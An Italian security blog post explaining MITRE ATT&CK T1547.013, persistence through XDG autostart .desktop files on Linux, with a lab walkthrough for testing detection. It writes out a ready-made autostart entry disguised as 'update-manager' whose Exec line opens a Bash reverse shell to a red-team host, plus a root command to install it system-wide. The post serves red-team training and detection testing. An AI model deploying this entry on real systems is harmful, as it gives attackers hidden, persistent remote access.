Persistenza via Desktop Entry: XDG Autostart Entries (T1547.013)

Nei desktop environment Linux conformi allo standard XDG — GNOME, KDE Plasma, XFCE, MATE e altri — esiste un meccanismo semplice e potente per avviare applicazioni al login dell'utente: i file .desktop posizionati nelle directory autostart. Questi file, noti come Desktop Entry, contengono una direttiva Exec che punta al binario da eseguire. Il desktop environment li processa automaticamente ogni volta che l'utente apre la sessione grafica.

La tecnica T1547.013 sfrutta esattamente questo meccanismo. Un avversario scrive (o modifica) un file .desktop in /etc/xdg/autostart (system-wide) oppure in ~/.config/autostart (per utente), inserendo nella riga Exec il percorso di un payload malevolo. Al login successivo, il malware si attiva senza alcuna interazione aggiuntiva.

La tecnica si colloca in due tattiche: TA0003 – Persistence, perché garantisce la sopravvivenza dell'impianto dopo reboot e logout, e TA0004 – Privilege Escalation, dato che la scrittura in /etc/xdg/autostart richiede privilegi root e il file viene poi eseguito nel contesto di tutti gli utenti che accedono con sessione grafica.

Dai dati disponibili risultano 1 gruppo APT, 6 software e 3 mitigazioni mappate su questa tecnica, con una strategia di detection Linux dedicata. Il vettore è particolarmente insidioso perché i file .desktop sono file di testo in chiaro, raramente monitorati da agent EDR tradizionali ottimizzati per ambienti Windows.


Replicare questa tecnica in laboratorio è immediato e non richiede tool sofisticati: basta un editor di testo e una sessione su un desktop environment XDG-compliant. L'obiettivo dell'esercizio è verificare se i controlli di file integrity e le regole auditd del target rilevano la creazione di un nuovo autostart entry.

Scenario user-level. Crea un file .desktop nella directory autostart dell'utente corrente. Il payload in questo caso è una reverse shell Bash verso il C2 del red team:

mkdir -p ~/.config/autostart

cat > ~/.config/autostart/update-manager.desktop << 'EOF' [Desktop Entry] Type=Application Name=Update Manager Exec=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' Hidden=false NoDisplay=false X-GNOME-Autostart-enabled=true EOF

Il nome update-manager è scelto deliberatamente per mimetizzarsi tra gli entry legittimi — esattamente la combinazione con Masquerading citata nella letteratura. Nota il campo Hidden=false: alcuni operatori lo impostano a true per impedire che l'entry appaia nel pannello "Applicazioni d'avvio" del desktop environment, ma questo genera un artefatto anomalo facilmente rilevabile.

Scenario system-wide (richiede root). Se durante l'assessment hai ottenuto privilegi elevati, verifica la possibilità di scrivere in /etc/xdg/autostart:

sudo cp update-manager.desktop /etc/xdg/autostart/

In questo caso ogni utente con sessione grafica eseguirà il payload, estendendo la superficie di persistenza a tutti gli account interattivi del sistema.

Utilizzo di tool noti. Diversi framework replicano questa tecnica in modo automatizzato. Pupy (open source) è un RAT Python/C con un modulo dedicato per la persistenza via XDG Autostart. La generazione del payload e il deploy dell'entry avvengono in un singolo comando dal listener Pupy. CrossRAT è un altro esempio storico: essendo Java-based e cross-platform, scrive automaticamente il proprio .desktop file nella directory utente al momento dell'installazione.

Per una simulazione più controllata, il framework Atomic Red Team di Red Canary (open source) contiene test atomici per T1547.013 che creano e rimuovono l'entry in modo idempotente, ideali per validare le detection senza lasciare artefatti persistenti.

Dopo il test, verifica la pulizia completa:

rm ~/.config/autostart/update-manager.desktop sudo rm /etc/xdg/autostart/update-manager.desktop 2>/dev/null


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.